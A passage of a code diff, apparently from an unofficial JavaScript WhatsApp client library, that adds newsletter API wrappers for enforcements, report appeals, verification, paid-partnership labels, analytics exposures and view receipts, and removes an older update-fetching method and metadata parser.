+ Types.QueryIds.CREATE_VERIFIED,
634
+ Types.XWAPaths.xwa2_newsletter_create_verified
635
+ ),
636
+
637
+ /**
638
+ * Fetch newsletter enforcements (ban/restriction info).
639
+ */
640
+ newsletterEnforcements: async jid =>
641
+ mexQuery({ newsletter_id: jid }, Types.QueryIds.ENFORCEMENTS, Types.XWAPaths.xwa2_newsletter_enforcements),
642
+
643
+ /**
644
+ * Fetch user reports for a newsletter (admin action).
645
+ */
646
+ newsletterUserReports: async (jid, cursor = null) => {
647
+ const variables = { newsletter_id: jid }
648
+ if (cursor) variables.cursor = cursor
649
+ return mexQuery(variables, Types.QueryIds.USER_REPORTS, Types.XWAPaths.xwa2_newsletter_user_reports)
650
+ },
651
+
652
+ /**
653
+ * Create a report appeal for a newsletter.
654
+ */
655
+ newsletterCreateReportAppeal: async (jid, reason) =>
656
+ mexQuery(
657
+ { newsletter_id: jid, reason },
658
+ Types.QueryIds.CREATE_REPORT_APPEAL,
659
+ Types.XWAPaths.xwa2_newsletter_create_report_appeal
660
+ ),
661
+
662
+ /**
663
+ * Check a newsletter link preview.
664
+ */
665
+ newsletterLinkPreviewCheck: async url =>
666
+ mexQuery({ url }, Types.QueryIds.LINK_PREVIEW_CHECK, Types.XWAPaths.xwa2_newsletter_link_preview_check),
667
+
668
+ /**
669
+ * Update newsletter verification status.
670
+ */
671
+ newsletterUpdateVerification: async (jid, verification) =>
672
+ mexQuery(
673
+ { newsletter_id: jid, verification },
674
+ Types.QueryIds.UPDATE_VERIFICATION,
675
+ Types.XWAPaths.xwa2_newsletter_update_verification
676
+ ),
677
+
678
+ /**
679
+ * Label a newsletter post as paid partnership.
680
+ */
681
+ newsletterLabelPaidPartnership: async (jid, serverId, isPaidPartnership) =>
682
+ mexQuery(
683
+ { newsletter_id: jid, server_id: serverId, is_paid_partnership: isPaidPartnership },
684
+ Types.QueryIds.LABEL_PAID_PARTNERSHIP,
685
+ Types.XWAPaths.xwa2_newsletter_label_paid_partnership
686
+ ),
687
+
688
+ /**
689
+ * Log newsletter exposure events (analytics).
690
+ */
691
+ newsletterLogExposures: async events =>
692
+ mexQuery({ events }, Types.QueryIds.LOG_EXPOSURES, Types.XWAPaths.xwa2_newsletter_log_exposures),
693
+
694
+ /**
695
+ * Update user-specific newsletter setting.
696
+ */
697
+ newsletterUpdateUserSetting: async (jid, setting) =>
698
+ mexQuery(
699
+ { newsletter_id: jid,...setting },
700
+ Types.QueryIds.UPDATE_USER_SETTING,
701
+ Types.XWAPaths.xwa2_newsletter_update_user_setting
702
+ ),
703
+
704
+ /**
705
+ * Fetch newsletter ranking features (ML signals).
706
+ */
707
+ newsletterRankingFeatures: async jid =>
708
+ mexQuery(
709
+ { newsletter_id: jid },
710
+ Types.QueryIds.RANKING_FEATURES,
711
+ Types.XWAPaths.xwa2_newsletter_ranking_features
712
+ ),
713
+
714
+ /**
715
+ * Send view receipts for newsletter messages.
716
+ */
717
+ newsletterSendViewReceipt: async (jid, serverMessageIds) => {
718
+ const ids = Array.isArray(serverMessageIds)? serverMessageIds : [serverMessageIds]
719
+ const receiptId = generateMessageTag()
720
+ await query({
721
+ tag: 'receipt',
722
+ attrs: {
723
+ to: jid,
724
+ id: receiptId,
725
+ type: 'view'
236
726
  },
237
- newsletterFetchUpdates: async (jid, count, after, since) => {
238
- const result = await newsletterQuery(jid, 'get', [
239
- {
240
- tag: 'message_updates',
241
- attrs: { count: count.toString(), after: after?.toString() || '100', since: since?.toString() || '0' }
242
- }
243
- ]);
244
- return await parseFetchedUpdates(result, 'updates');
245
- }
246
- };
247
- };
248
-
249
- export const extractNewsletterMetadata = (node, isCreate) => {
250
- const result = getBinaryNodeChild(node, 'result')?.content?.toString();
251
- const metadataPath = JSON.parse(result).data[isCreate ? XWAPaths.CREATE : XWAPaths.NEWSLETTER];
252
- const metadata = {
253
- id: metadataPath.id,
254
- state: metadataPath.state.type,
255
- creation_time: +metadataPath.thread_metadata.creation_time,
256
- name: metadataPath.thread_metadata.name.text,
257
- nameTime: +metadataPath.thread_metadata.name.update_time,
258
- description: metadataPath.thread_metadata.description.text,
259
- descriptionTime: +metadataPath.thread_metadata.description.update_time,
260
- invite: metadataPath.thread_metadata.invite,
261
- handle: metadataPath.thread_metadata.handle,
262
- picture: metadataPath.thread_metadata.picture?.direct_path || null,
263
- preview: metadataPath.thread_metadata.preview?.direct_path || null,
264
- reaction_codes: metadataPath.thread_metadata.settings.reaction_codes.value,
265
- subscribers: +metadataPath.thread_metadata.subscribers_count,
266
- verification: metadataPath.thread_metadata.verification,
267
- viewer_metadata: metadataPath.viewer_metadata
268
- };
269
- return metadata;
270
- };
727
+ content: [
728
+ {
729
+ tag: 'list',
730
+ attrs: {},
731
+ content: ids.map(id => ({ tag: 'item', attrs: { server_id: String(id) } }))
732
+ }
733
+ ]
734
+ })
735
+ }
736
+ }
737
+ }